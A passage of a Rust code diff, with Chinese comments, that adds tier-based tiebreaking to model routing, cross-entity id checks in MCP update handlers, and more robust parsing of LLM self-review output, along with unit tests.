遇并列返最后一个 + // (rust Iterator::max_by 语义,与原 max_by_key 一致)。验证同 weight + tier=None + // 不再按 cost 取舍,行为对齐接入 tier tiebreak 前的语义(标题/扫描路径无回归)。 let pool = vec![ ModelConfig { weight: 70, @@ -312,17 +400,17 @@ mod tests { #[test] fn all_dimensions_match_picks_best() { - // 3+ 候选各维度参差,验证过滤链全过 + max_by_key 纯 weight 选最优。 + // 3+ 候选各维度参差,验证过滤链全过 + max_by(weight, tier) 选最优。 // (智力/成本过滤已解耦,原步骤 4/5 删除,候选 d 不再因 intelligence 滤掉) // // 候选: - // a: weight 60 → 通过全部过滤,key=60 - // b: weight 80 → 通过,key=80 — weight 最高档(与 c 并列) - // c: weight 80 → 通过,key=80 — 同 weight 80,max_by_key 并列返回最后 - // d: weight 90 → 通过(intelligence 不参与过滤),key=90 — weight 最高,胜 + // a: weight 60 → 通过全部过滤 + // b: weight 80 → 通过 — weight 次高档(与 c 并列,但 tier=None 故 tiebreak 退等价) + // c: weight 80 → 通过 — 同 weight 80,tier=None 时 max_by 返并列最后一个 + // d: weight 90 → 通过(intelligence 不参与过滤)— weight 最高,胜 // e: enabled=false → 步骤 1 滤掉 // - // 预期:d 胜(weight 90 最高,不再被 intelligence 滤掉) + // 预期:d 胜(weight 90 最高,tier tiebreak 不触发因 weight 已决出胜负) let pool = vec![ ModelConfig { weight: 60, @@ -358,7 +446,113 @@ mod tests { modalities: vec![Modality::Text], needs_tool_use: true, estimated_context: 0, + tier: None, }; assert_eq!(ModelRouter::select(&r, &pool).unwrap().model_id, "d"); } + + // ── 步骤 5 tiebreak(子项 2):同 weight 时 tier 决胜 ── + + #[test] + fn tier_tiebreak_heavy_prefers_meeting_model() { + // 子项 2 根因修复:同 weight 时,任务建议 Heavy(req.tier=Some(Heavy))→ tier_min=Plus, + // 满足 intelligence>=Plus 的候选胜过不满足的。 + // 候选 a:Standard(不满足 Plus),候选 b:Plus(满足),同 weight 50。 + // 预期:b 胜(满足 Heavy 档位下限)。原 max_by_key 会返最后一个(顺序敏感无语义)。 + let pool = vec![ + ModelConfig { + weight: 50, + intelligence: IntelligenceTier::Standard, + ..model("a_standard") + }, + ModelConfig { + weight: 50, + intelligence: IntelligenceTier::Plus, + ..model("b_plus") + }, + ]; + let r = TaskRequirements { + tier: Some(ModelTier::Heavy), + ..req() + }; + assert_eq!( + ModelRouter::select(&r, &pool).unwrap().model_id, + "b_plus", + "同 weight 时 Heavy 档位应优先选 Plus(满足)而非 Standard(不满足)" + ); + } + + #[test] + fn tier_tiebreak_none_preserves_max_by_key_semantics() { + // tier=None(标题/扫描/压缩无意图场景)→ tiebreak 维度退等价, + // max_by 同 key 返最后一个(对齐原 max_by_key 行为,无回归)。 + // 候选 a/b 同 weight 70,顺序 a 在前 b 在后 → 预期返 b(max_by 并列返最后)。 + let pool = vec![ + ModelConfig { + weight: 70, + intelligence: IntelligenceTier::Standard, + ..model("a") + }, + ModelConfig { + weight: 70, + intelligence: IntelligenceTier::Plus, + ..model("b") + }, + ]; + // tier=None 时即使 b 的 intelligence 更高也不应胜(tiebreak 不参与),保 max_by_key 语义。 + assert_eq!(ModelRouter::select(&req(), &pool).unwrap().model_id, "b"); + } + + #[test] + fn tier_tiebreak_chat_fast_any_model_meets_lite() { + // 任务建议 Fast → tier_min=Lite,任何模型 intelligence>=Lite(Lite 是最低档)→ 都满足。 + // 故 Fast 档位下 tiebreak 退等价(都满足),max_by 同 weight 返最后一个,行为不变。 + let pool = vec![ + ModelConfig { + weight: 50, + intelligence: IntelligenceTier::Lite, + ..model("a_lite") + }, + ModelConfig { + weight: 50, + intelligence: IntelligenceTier::Ultra, + ..model("b_ultra") + }, + ]; + let r = TaskRequirements { + tier: Some(ModelTier::Fast), + ..req() + }; + // 都满足 Lite 下限 → tiebreak 等价 → max_by 返最后一个 = b_ultra + assert_eq!(ModelRouter::select(&r, &pool).unwrap().model_id, "b_ultra"); + } + + #[test] + fn tier_tiebreak_weight_still_dominates() { + // tier 不凌驾 weight:weight 高者永远胜,即使低 weight 候选满足 tier 而高 weight 不满足。 + // 候选 a:weight 90,Standard(不满足 Heavy/Plus)。 + // 候选 b:weight 50,Plus(满足 Heavy)。 + // 预期:a 胜(weight 主键优先,tiebreak 只在 weight 相同时触发)。 + let pool = vec![ + ModelConfig { + weight: 90, + intelligence: IntelligenceTier::Standard, + ..model("a_heavy_weight") + }, + ModelConfig { + weight: 50, + intelligence: IntelligenceTier::Plus, + ..model("b_meets_tier") + }, + ]; + let r = TaskRequirements { + tier: Some(ModelTier::Heavy), + ..req() + }; + assert_eq!( + ModelRouter::select(&r, &pool).unwrap().model_id, + "a_heavy_weight", + "weight 主键应凌驾 tier tiebreak" + ); + } } diff --git a/crates/df-ideas/src/adversarial.rs b/crates/df-ideas/src/adversarial.rs index 2dbfada..4d7d773 100644 --- a/crates/df-ideas/src/adversarial.rs +++ b/crates/df-ideas/src/adversarial.rs @@ -108,6 +108,7 @@ impl AdversarialEngine { modalities: vec![df_ai_core::model::Modality::Text], needs_tool_use: false, estimated_context: 0, + tier: None, }; let model = df_ai::router::select_model_id(&eval_req, &self.model_pool).unwrap_or_default(); let request = df_ai_core::provider::CompletionRequest { diff --git a/crates/df-mcp/src/tools.rs b/crates/df-mcp/src/tools.rs index a9d9a3a..cf580fd 100644 --- a/crates/df-mcp/src/tools.rs +++ b/crates/df-mcp/src/tools.rs @@ -198,6 +198,57 @@ fn arg_int_or(args: &Value, key: &str, default: i32) -> i32 { .unwrap_or(default) } +// ============================================================ +// 跨实体校验(防 B-260801-01:跨实体误操作) +// ============================================================ +// +// 各实体表(projects / tasks / ideas)独立存储,Repo::get_by_id 只查本表。 +// 当 id 实属另一实体(如把 idea id 传给 update_task),本表查询返回 None, +// 旧实现一律报「任务/项目/想法不存在」,错误信息具有误导性,且对 LLM/客户端 +// 跨实体误操作无防护(误以为 id 拼错重试,实际是实体类型搞错)。 +// +// 此函数在「本表未命中」时跨另两张表探测 id 归属,返回命中的实体名 +// (Some("idea") / Some("task") / Some("project")),调用方据此报更精确错误: +// 「id 属于 idea,不能用 update_task 修改」。三表都未命中 → None(真不存在)。 +// +// 仅在错误路径(本表 None)执行,正常路径零开销。 +// +// 返回值命名约定:中文实体名(对齐 handler 中文错误信息风格),与 handler 名一致。 + +/// 跨实体探测:id 在另两张表中的归属(None=都不在)。 +/// `excluding` 是调用方实体名(本表已查过,跳过避免重复查)。 +async fn detect_entity_owner(db: &Arc, id: &str, excluding: &str) -> Option<&'static str> { + // 顺序按调用方常见误操作倾向排列(task ↔ idea 互混最常见,project 较少跨)。 + // 三个候选用 if 链(非循环)以静态分发各 Repo,避免 dyn。 + if excluding != "task" { + if let Ok(Some(_)) = TaskRepo::new(db).get_by_id(id).await { + return Some("task"); + } + } + if excluding != "idea" { + if let Ok(Some(_)) = IdeaRepo::new(db).get_by_id(id).await { + return Some("idea"); + } + } + if excluding != "project" { + if let Ok(Some(_)) = ProjectRepo::new(db).get_by_id(id).await { + return Some("project"); + } + } + None +} + +/// 跨实体错误信息构造:`excluding` 是当前 handler 期望的实体名, +/// `id` 是客户端传入的 id。若 id 属于其他实体,返回描述性错误串;否则 None。 +async fn cross_entity_err(db: &Arc, id: &str, excluding: &str) -> Option { + match detect_entity_owner(db, id, excluding).await { + Some(actual) => Some(format!( + "id「{id}」属于 {actual},不能用 update_{excluding} 修改(跨实体误操作)" + )), + None => None, + } +} + // ============================================================ // handler 实现 — 项目 // ============================================================ @@ -275,7 +326,13 @@ fn update_project(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> // 先读现有保留 path/stack/idea_id,以及未传字段的回退源(部分更新语义) let existing = match repo.get_by_id(&id).await { Ok(Some(p)) => p, - Ok(None) => return CallToolResult::error(format!("项目不存在: {id}")), + Ok(None) => { + // 跨实体校验(B-260801-01):id 可能属于 task/idea,给精确错误防误操作 + if let Some(msg) = cross_entity_err(&db, &id, "project").await { + return CallToolResult::error(msg); + } + return CallToolResult::error(format!("项目不存在: {id}")); + } Err(e) => return err_str(e), }; // 部分更新:name/description/status 缺省回退 existing,避免空默认清空数据 @@ -431,7 +488,13 @@ fn update_task(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> { let repo = TaskRepo::new(&db); let existing = match repo.get_by_id(&id).await { Ok(Some(t)) => t, - Ok(None) => return CallToolResult::error(format!("任务不存在: {id}")), + Ok(None) => { + // 跨实体校验(B-260801-01):id 可能属于 project/idea,给精确错误防误操作 + if let Some(msg) = cross_entity_err(&db, &id, "task").await { + return CallToolResult::error(msg); + } + return CallToolResult::error(format!("任务不存在: {id}")); + } Err(e) => return err_str(e), }; // 部分更新:project_id/title/description 缺省回退 existing,避免空默认清空数据 @@ -568,7 +631,13 @@ fn update_idea(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> { let repo = IdeaRepo::new(&db); let existing = match repo.get_by_id(&id).await { Ok(Some(i)) => i, - Ok(None) => return CallToolResult::error(format!("想法不存在: {id}")), + Ok(None) => { + // 跨实体校验(B-260801-01):id 可能属于 project/task,给精确错误防误操作 + if let Some(msg) = cross_entity_err(&db, &id, "idea").await { + return CallToolResult::error(msg); + } + return CallToolResult::error(format!("想法不存在: {id}")); + } Err(e) => return err_str(e), }; // 部分更新:title/description 缺省回退 existing,避免空默认清空数据 @@ -763,9 +832,9 @@ fn normalize_path(p: &str) -> String { mod tests { use super::*; use crate::protocol::ContentBlock; - use df_storage::crud::IdeaRepo; - use df_storage::models::IdeaRecord; - use df_types::types::{IdeaStatus, new_id}; + use df_storage::crud::{IdeaRepo, ProjectRepo, TaskRepo}; + use df_storage::models::{IdeaRecord, ProjectRecord, TaskRecord}; + use df_types::types::{IdeaStatus, ProjectStatus, TaskStatus, new_id}; /// 构造内存 DB + Ctx async fn test_ctx() -> Ctx { @@ -808,6 +877,51 @@ mod tests { repo.insert(rec).await.unwrap() } + /// 插入一条项目,返回 id(跨实体校验测试用) + async fn seed_project(ctx: &Ctx, name: &str) -> String { + let repo = ProjectRepo::new(&ctx.db); + let now = now_millis(); + let rec = ProjectRecord { + id: new_id(), + name: name.to_owned(), + description: String::new(), + status: ProjectStatus::Planning, + idea_id: None, + path: None, + stack: None, + created_at: now.clone(), + updated_at: now, + }; + repo.insert(rec).await.unwrap() + } + + /// 插入一条任务,返回 id(跨实体校验测试用) + async fn seed_task(ctx: &Ctx, project_id: &str, title: &str) -> String { + let repo = TaskRepo::new(&ctx.db); + let now = now_millis(); + let rec = TaskRecord { + id: new_id(), + project_id: project_id.to_owned(), + title: title.to_owned(), + description: String::new(), + status: TaskStatus::Todo, + priority: 0, + branch_name: None, + assignee: None, + workflow_def_id: None, + base_branch: None, + review_rounds: 0, + output_json: None, + idea_id: None, + queue: "todo".to_string(), + parent_id: None, + content_json: None, + created_at: now.clone(), + updated_at: now, + }; + repo.insert(rec).await.unwrap() + } + /// 读当前 DB 中的 idea.scores(原始字符串) async fn db_scores(ctx: &Ctx, id: &str) -> Option { IdeaRepo::new(&ctx.db) @@ -948,4 +1062,154 @@ mod tests { ); } } + + // ── 跨实体校验(B-260801-01):update_* 检测 id 属于其他实体时报精确错误 ── + // + // 各实体表独立,Repo::get_by_id 只查本表。当 id 实属另一实体时, + // 旧实现只报「任务/项目/想法不存在」(误导),改后报「id 属于 X,不能用 update_Y 修改」。 + + /// update_task 传入 idea id → 报跨实体错误,不报「任务不存在」。 + #[tokio::test] + async fn update_task_with_idea_id_reports_cross_entity() { + let ctx = test_ctx().await; + let idea_id = seed_idea(&ctx, "灵感A", "误传给 update_task").await; + + let r = update_task(&ctx, json!({ "id": idea_id, "title": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("属于 idea") && msg.contains("update_task"), + "应报跨实体错误,实际: {msg}" + ); + // 不应回退到模糊的「任务不存在」 + assert!(!msg.contains("任务不存在"), "不应是模糊错误: {msg}"); + } + + /// update_task 传入 project id → 报跨实体错误。 + #[tokio::test] + async fn update_task_with_project_id_reports_cross_entity() { + let ctx = test_ctx().await; + let pid = seed_project(&ctx, "项目P").await; + + let r = update_task(&ctx, json!({ "id": pid, "title": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("属于 project") && msg.contains("update_task"), + "应报跨实体错误,实际: {msg}" + ); + } + + /// update_project 传入 idea id → 报跨实体错误。 + #[tokio::test] + async fn update_project_with_idea_id_reports_cross_entity() { + let ctx = test_ctx().await; + let idea_id = seed_idea(&ctx, "灵感B", "误传给 update_project").await; + + let r = update_project(&ctx, json!({ "id": idea_id, "name": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("属于 idea") && msg.contains("update_project"), + "应报跨实体错误,实际: {msg}" + ); + assert!(!msg.contains("项目不存在"), "不应是模糊错误: {msg}"); + } + + /// update_project 传入 task id → 报跨实体错误。 + #[tokio::test] + async fn update_project_with_task_id_reports_cross_entity() { + let ctx = test_ctx().await; + let pid = seed_project(&ctx, "项目宿主").await; + let tid = seed_task(&ctx, &pid, "任务T").await; + + let r = update_project(&ctx, json!({ "id": tid, "name": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("属于 task") && msg.contains("update_project"), + "应报跨实体错误,实际: {msg}" + ); + } + + /// update_idea 传入 task id → 报跨实体错误。 + #[tokio::test] + async fn update_idea_with_task_id_reports_cross_entity() { + let ctx = test_ctx().await; + let pid = seed_project(&ctx, "项目宿主").await; + let tid = seed_task(&ctx, &pid, "任务T2").await; + + let r = update_idea(&ctx, json!({ "id": tid, "title": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("属于 task") && msg.contains("update_idea"), + "应报跨实体错误,实际: {msg}" + ); + assert!(!msg.contains("想法不存在"), "不应是模糊错误: {msg}"); + } + + /// update_idea 传入 project id → 报跨实体错误。 + #[tokio::test] + async fn update_idea_with_project_id_reports_cross_entity() { + let ctx = test_ctx().await; + let pid = seed_project(&ctx, "项目P2").await; + + let r = update_idea(&ctx, json!({ "id": pid, "title": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("属于 project") && msg.contains("update_idea"), + "应报跨实体错误,实际: {msg}" + ); + } + + /// 三表都不存在的真随机 id → 仍报原「不存在」错误(跨实体校验不应改变此行为)。 + #[tokio::test] + async fn update_task_with_unknown_id_still_reports_not_found() { + let ctx = test_ctx().await; + let r = update_task(&ctx, json!({ "id": "ghost-id-12345", "title": "x" })).await; + assert_eq!(r.is_error, Some(true)); + let msg = text_of(&r); + assert!( + msg.contains("任务不存在"), + "三表都无此 id 应回退到原「不存在」错误,实际: {msg}" + ); + } + + /// 正常路径:update_task 传入真实 task id → 成功(校验不应破坏正常路径)。 + #[tokio::test] + async fn update_task_with_real_task_id_succeeds() { + let ctx = test_ctx().await; + let pid = seed_project(&ctx, "项目宿主").await; + let tid = seed_task(&ctx, &pid, "原标题").await; + + let r = update_task(&ctx, json!({ "id": tid, "title": "新标题" })).await; + assert!(r.is_error.is_none(), "正常路径不应报错: {:?}", text_of(&r)); + let v = json_of(&r); + assert_eq!(v["task"]["title"], "新标题"); + } + + /// 跨实体探测纯逻辑:三实体互查正确性。 + #[tokio::test] + async fn detect_entity_owner_returns_correct_entity() { + let ctx = test_ctx().await; + let pid = seed_project(&ctx, "项目").await; + let tid = seed_task(&ctx, &pid, "任务").await; + let iid = seed_idea(&ctx, "灵感", "x").await; + + // 各 id 跨表探测应返回其真实所属实体(注意:不包括 excluding 自身) + assert_eq!(detect_entity_owner(&ctx.db, &tid, "task").await, None, "task 自身被排除"); + assert_eq!(detect_entity_owner(&ctx.db, &tid, "project").await, Some("task")); + assert_eq!(detect_entity_owner(&ctx.db, &tid, "idea").await, Some("task")); + + assert_eq!(detect_entity_owner(&ctx.db, &iid, "idea").await, None, "idea 自身被排除"); + assert_eq!(detect_entity_owner(&ctx.db, &iid, "task").await, Some("idea")); + + assert_eq!(detect_entity_owner(&ctx.db, &pid, "project").await, None, "project 自身被排除"); + assert_eq!(detect_entity_owner(&ctx.db, &pid, "task").await, Some("project")); + + // 三表都没有 → None + assert_eq!(detect_entity_owner(&ctx.db, "ghost", "task").await, None); + } } diff --git a/crates/df-nodes/src/ai_node.rs b/crates/df-nodes/src/ai_node.rs index 24d3540..0401d31 100644 --- a/crates/df-nodes/src/ai_node.rs +++ b/crates/df-nodes/src/ai_node.rs @@ -124,7 +124,12 @@ impl Node for AiNode { "base_url": { "type": "string", "description": "(已废弃过渡)明文 API 地址,改用 provider_id" }, "api_key": { "type": "string", "description": "(已废弃过渡)明文 API 密钥,改用 provider_id;密钥经 secret 解析" } }, - // SW-260618-15: prompt/provider_id 均"留空走兜底"(prompt 取上游、provider_id 走默认 provider),与 required 矛盾。改 required=[] 对齐 execute 运行时,防前端按 schema 误拒合法配置。 + // SW-260802-01: schema 与 handler 行为对齐 — config 层 required=[] 正确,但 prompt 运行时必填。 + // prompt: execute → parse_params(ai_node_helpers.rs:189-200) 取 inputs["prompt"] > config.prompt, + // 两者皆无则 Err("缺少必填参数: prompt")。即 prompt 真必填,但可由上游节点注入, + // JSON Schema 只校验 config 属性无法表达"二选一",故 required 留空 + description 标注兜底来源, + // handler 兜底校验保证语义;前端不得按 required=[] 误以为 prompt 完全可省。 + // provider_id: 空 → resolve_provider 路径 3 走默认 provider,非必填。 "required": [] }), output: serde_json::json!({ @@ -420,4 +425,35 @@ mod tests { // 自审闭环相关单测(parse_review_json / truncate_for_summary / gate_should_block / // build_review_prompt / update_field_writes_output_json)已随 AiSelfReviewNode 迁移至 // ai_self_review_node.rs(与被测代码同位,纯搬运)。 + + // ============================================================ + // SW-260802-01: schema required 与 handler 行为对齐测试 + // ============================================================ + // + // 真实 bug(误判修正):原注释称"prompt/provider_id 均留空走兜底",实则 prompt 运行时必填 —— + // parse_params(:189-200) 取 inputs["prompt"] > config.prompt,两者皆无则 Err("缺少必填参数: prompt")。 + // 但 prompt 可由上游节点 inputs 注入(非 config 独占),JSON Schema required 只校验 config 属性 + // 无法表达"二选一",故 config 层 required=[] 正确,handler 兜底校验补足语义。 + // + // 已有 missing_prompt_errors 测试覆盖 handler 兜底(缺 prompt 报错),此处补 schema 这层契约: + // config 层 required 应为 [](prompt 来源可上游、provider_id 走默认),防前端按 schema 误判 + + // 防后续误把 prompt 塞进 required 拒掉合法的"上游注入 prompt"配置。 + + /// AiNode schema.required 应为 [](prompt 可来自上游 inputs、provider_id 走默认 provider)。 + #[tokio::test] + async fn schema_required_empty_matches_handler() { + let db = Database::open_in_memory().await.expect("open_in_memory"); + let node = AiNode::new(Arc::new(db)); + let schema = node.schema(); + let params = schema.params.as_object().expect("schema.params 应是 object"); + let required = params + .get("required") + .and_then(|v| v.as_array()) + .expect("schema 应有 required 数组"); + assert!( + required.is_empty(), + "AiNode required 应为 [](prompt 可上游注入、provider_id 走默认),实际: {:?}", + required + ); + } } diff --git a/crates/df-nodes/src/ai_node_helpers.rs b/crates/df-nodes/src/ai_node_helpers.rs index d5ea5e1..0cdab39 100644 --- a/crates/df-nodes/src/ai_node_helpers.rs +++ b/crates/df-nodes/src/ai_node_helpers.rs @@ -219,6 +219,7 @@ pub(crate) fn parse_params( modalities: vec![Modality::Text], needs_tool_use: true, estimated_context: 0, + tier: None, }; select_model_id(&node_req, &provider.model_pool).unwrap_or_default() }; @@ -260,9 +261,20 @@ pub(crate) const REVIEW_SYSTEM_PROMPT: &str = "\ /// 解析 LLM 自审输出为结构化 review JSON。 /// -/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 原样返回。 +/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 规范化后返回。 /// 兜底路径:解析失败 / 非 Object / 缺 verdict → 返回 verdict=unknown + summary=原文, /// 防 LLM 不按要求输出导致下游崩溃。dimensions 留空对象(前端容缺展示)。 +/// +/// 三道加固(P2): +/// 1. verdict 规范化:to_lowercase + trim,统一输出 pass/fail/unknown 三态。 +/// 防 LLM 输出 "Pass"/"PASS"/" Fail " 类大小写/空白变体致 gate_should_block 精确 +/// 匹配误判(原 == "fail" 对 "Fail" 放行,漏阻断)。 +/// 2. score clamp:dimensions.*.score 读时 clamp 到 [0,10]。防 LLM 输出越界值 +/// (99/-1/NaN)污染前端展示与闸门阈值判定(维度 score<6 视 fail 由 prompt 约定, +/// 越界值会破坏该约定)。 +/// 3. 正则兜底:LLM 偶尔在 JSON 前置解释文字("好的,审查结果:\n{...}")致整段 serde +/// 失败。参考 adversarial parse_llm_eval 的 extract_json,提取首个 { 到末 } 重试。 +/// 用纯字符串 find/rfind 实现等价语义(避免为单条提取引入 regex 依赖)。 pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value { // 先尝试整段解析;LLM 偶尔会包 markdown 代码块,剥离 ```json ... ``` 后重试一次。 let trimmed = raw.trim(); @@ -272,9 +284,19 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value { .map(|s| s.trim_end_matches("```").trim()) .unwrap_or(trimmed); - if let Ok(v) = serde_json::from_str::(cleaned) { - if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() { - return v; + // 候选解析文本:整段失败 → 正则兜底提取首个 { 到末 } 再试一次(前置文字容错)。 + // 等价于 adversarial extract_json 的 (?s)\{.*\} 但用 find/rfind 零依赖实现。 + let candidates = [cleaned, extract_first_json_object(cleaned).as_str()]; + + for cand in candidates { + if let Ok(mut v) = serde_json::from_str::(cand) { + if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() { + // 加固 1:verdict 规范化为 pass/fail/unknown 三态(to_lowercase + trim)。 + normalize_verdict_in_place(&mut v); + // 加固 2:dimensions.*.score clamp 到 [0,10]。 + clamp_dimension_scores_in_place(&mut v); + return v; + } } } // 兜底:保留原文供人查阅,verdict=unknown 不阻断流程(自审辅助,人定)。 @@ -286,6 +308,50 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value { }) } +/// 从文本中提取「首个 `{` 到最后一个 `}`」的片段(正则 `(?s)\{.*\}` 的零依赖等价)。 +/// +/// 用于 LLM 在 JSON 前后夹带解释文字("好的,审查如下:\n{...}\n以上。")时兜底提取。 +/// 提取失败(无 { 或无 })返回空串,调用方按整段重试→失败→兜底 unknown 走原路径。 +fn extract_first_json_object(s: &str) -> String { + match (s.find('{'), s.rfind('}')) { + (Some(start), Some(end)) if start < end => s[start..=end].to_string(), + _ => String::new(), + } +} + +/// 原地规范化 verdict 字段:to_lowercase + trim,统一为 pass/fail/unknown 三态。 +/// +/// LLM 偶发输出 "Pass"/"PASS"/" Fail "/"FAIL." 类变体,原样透传会让 gate_should_block +/// 精确匹配漏判("Fail" 不 == "fail" → 不阻断)。规范化后下游闸门/展示/落库值一致。 +/// 非 pass/fail 的值(如空串、拼写错)统一为 unknown(保守不阻断,保人定权)。 +fn normalize_verdict_in_place(v: &mut serde_json::Value) { + let Some(obj) = v.as_object_mut() else { return }; + let Some(raw_verdict) = obj.get("verdict").and_then(|x| x.as_str()).map(str::to_string) else { + return; + }; + let normalized = match raw_verdict.trim().to_lowercase().as_str() { + "pass" => "pass", + "fail" => "fail", + // 含拼写错/大小写变体未命中(如 "passed"/"failed"/"ok")→ 保守归 unknown。 + _ => "unknown", + }; + obj.insert("verdict".into(), serde_json::Value::String(normalized.into())); +} + +/// 原地 clamp dimensions.*.score 到 [0,10]。只处理 number 类型,跳过非 number(留原值, +/// serde 反序列化由调用方按 schema 容错)。 +fn clamp_dimension_scores_in_place(v: &mut serde_json::Value) { + let Some(obj) = v.as_object_mut() else { return }; + let Some(dims) = obj.get_mut("dimensions").and_then(|d| d.as_object_mut()) else { return }; + for (_, dim) in dims.iter_mut() { + let Some(dim_obj) = dim.as_object_mut() else { continue }; + if let Some(score) = dim_obj.get_mut("score").and_then(|s| s.as_f64()) { + let clamped = score.clamp(0.0, 10.0); + dim_obj.insert("score".into(), serde_json::json!(clamped)); + } + } +} + /// summary 截断(防原文过长撑爆 output_json / 审批卡)。 pub(crate) fn truncate_for_summary(s: &str) -> String { const MAX: usize = 300; @@ -313,8 +379,11 @@ pub(crate) fn truncate_for_review_input(s: &str) -> String { /// 自审闸门决策(纯函数,便于单测覆盖各 verdict/gate 组合)。 /// -/// 仅当 `gate==true` 且 `verdict=="fail"` 时阻断。verdict="unknown"(LLM 输出不可靠) -/// 与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。 +/// 仅当 `gate==true` 且规范化后 verdict=="fail" 时阻断。verdict="unknown"(LLM 输出 +/// 不可靠)与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。 +/// +/// 规范化(to_lowercase + trim):与 parse_review_json 的 verdict 规范化对齐,防御 +/// 非 parse_review_json 路径(如外部直接传 "Fail"/"FAIL")的精确匹配漏判。 pub(crate) fn gate_should_block(gate: bool, verdict: &str) -> bool { - gate && verdict == "fail" + gate && verdict.trim().to_lowercase() == "fail" } diff --git a/crates/df-nodes/src/ai_self_review_node.rs b/crates/df-nodes/src/ai_self_review_node.rs index bab6fa7..12807b4 100644 --- a/crates/df-nodes/src/ai_self_review_node.rs +++ b/crates/df-nodes/src/ai_self_review_node.rs @@ -259,12 +259,16 @@ impl Node for AiSelfReviewNode { "type": "object", "properties": { "task_id": { "type": "string", "description": "自审目标任务 ID(必填)" }, - "provider_id": { "type": "string", "description": "AI Provider ID(密钥经 secret 解析不进 config;留空走默认 provider)" }, + "provider_id": { "type": "string", "description": "AI Provider ID(可选,留空走默认 provider;密钥经 secret 解析不进 config)" }, "model": { "type": "string", "description": "模型名(可选,留空用 record.default_model)" }, "max_tokens": { "type": "integer" }, "gate": { "type": "boolean", "description": "闸门开关:false(默认)=自审辅助,verdict 仅透传展示;true=自审结果作 DAG 闸门,verdict=fail 返回 Err 阻断下游(工作流 failed → ②-4 退回),verdict=unknown/pass 放行" } }, - "required": ["task_id", "provider_id"] + // SW-260802-01: schema 与 handler 行为对齐 — required 仅列 handler 真正强制必填的字段。 + // task_id: execute 第 100-104 行缺 task_id 直接 Err("缺少必填参数: task_id"),真必填 → 保留。 + // provider_id: execute 调 resolve_and_parse → resolve_provider(ai_node_helpers.rs:100-108), + // 空串走路径 2(老明文)/路径 3(默认 provider)兜底,运行时非必填 → 移出 required。 + "required": ["task_id"] }), output: serde_json::json!({ "type": "object", @@ -408,6 +412,95 @@ mod tests { assert_eq!(v["summary"], json!("缺边界处理")); } + // ============================================================ + // P2:parse_review_json 三道加固(verdict 规范 / score clamp / 正则兜底) + // ============================================================ + // + // 真实 bug 场景: + // - LLM 输出 verdict="Pass"/"PASS" → 原 == "fail" 精确匹配 → 漏阻断(放行 fail 项) + // - LLM 输出 score=99/-1 → 越界值污染闸门阈值(维度 score<6 视 fail)与前端展示 + // - LLM 前置解释文字 "审查结果:\n{...}" → 整段 serde 失败 → 兜底 unknown(本可救回) + // 加固后:verdict 规范化 / score clamp [0,10] / 首个 { 到末 } 正则兜底提取。 + + /// P2-加固1:verdict 大小写/空白变体规范化为 pass/fail/unknown 三态。 + /// 防 gate_should_block 精确匹配 "fail" 对 "Fail"/"FAIL" 漏阻断。 + #[test] + fn parse_review_json_normalizes_verdict_case_variants() { + // "Pass" → "pass"(防 LLM 首字母大写) + let v = parse_review_json(r#"{"verdict":"Pass","summary":"ok"}"#); + assert_eq!(v["verdict"], json!("pass"), "Pass 应规范化为 pass"); + + // "FAIL" → "fail"(防漏阻断:原 == "fail" 对 FAIL 放行) + let v = parse_review_json(r#"{"verdict":"FAIL","summary":"缺单测"}"#); + assert_eq!(v["verdict"], json!("fail"), "FAIL 应规范化为 fail"); + + // " fail "(含空白)→ "fail" + let v = parse_review_json(r#"{"verdict":" fail ","summary":"x"}"#); + assert_eq!(v["verdict"], json!("fail"), "含空白 verdict 应 trim 后规范化"); + + // "PASS" → "pass" + let v = parse_review_json(r#"{"verdict":"PASS"}"#); + assert_eq!(v["verdict"], json!("pass"), "PASS 应规范化为 pass"); + + // 拼写错/非标准值 → "unknown"(保守不阻断,保人定权) + let v = parse_review_json(r#"{"verdict":"passed"}"#); + assert_eq!(v["verdict"], json!("unknown"), "非 pass/fail 的值应归 unknown"); + } + + /// P2-加固1 联动:规范化后 verdict 经 gate_should_block 正确阻断 fail。 + /// 验证 "FAIL"/"Fail" 经 parse_review_json 规范化 → gate_should_block 阻断(原会漏)。 + #[test] + fn parse_review_json_fail_variants_trigger_gate_block() { + for raw_verdict in ["fail", "Fail", "FAIL", " fail ", "FaIl"] { + let v = parse_review_json(&format!(r#"{{"verdict":"{raw_verdict}"}}"#)); + let normalized = v["verdict"].as_str().unwrap(); + assert_eq!( + normalized, "fail", + "verdict={raw_verdict:?} 应规范化为 fail" + ); + assert!( + gate_should_block(true, normalized), + "gate 开 + 规范化后 fail 应阻断(raw={raw_verdict:?})" + ); + } + } + + /// P2-加固2:dimensions.*.score 越界值 clamp 到 [0,10]。 + /// 防 LLM 输出 99/-1/NaN 类越界值污染闸门阈值(score<6 视 fail)与前端展示。 + #[test] + fn parse_review_json_clamps_out_of_range_scores() { + let raw = r#"{"verdict":"pass","dimensions":{ + "requirement_fit":{"score":99,"issues":[]}, + "completeness":{"score":-5,"issues":[]}, + "correctness":{"score":7.5,"issues":[]}, + "boundary":{"score":10,"issues":[]} + },"summary":"ok"}"#; + let v = parse_review_json(raw); + // 99 → 10(上界) + assert_eq!(v["dimensions"]["requirement_fit"]["score"], json!(10.0), "score 99 应 clamp 到 10"); + // -5 → 0(下界) + assert_eq!(v["dimensions"]["completeness"]["score"], json!(0.0), "score -5 应 clamp 到 0"); + // 区间内值不变 